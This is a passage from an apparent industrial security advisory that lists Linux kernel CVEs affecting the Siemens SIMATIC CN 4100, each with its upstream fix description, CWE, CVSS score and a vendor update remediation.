reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: 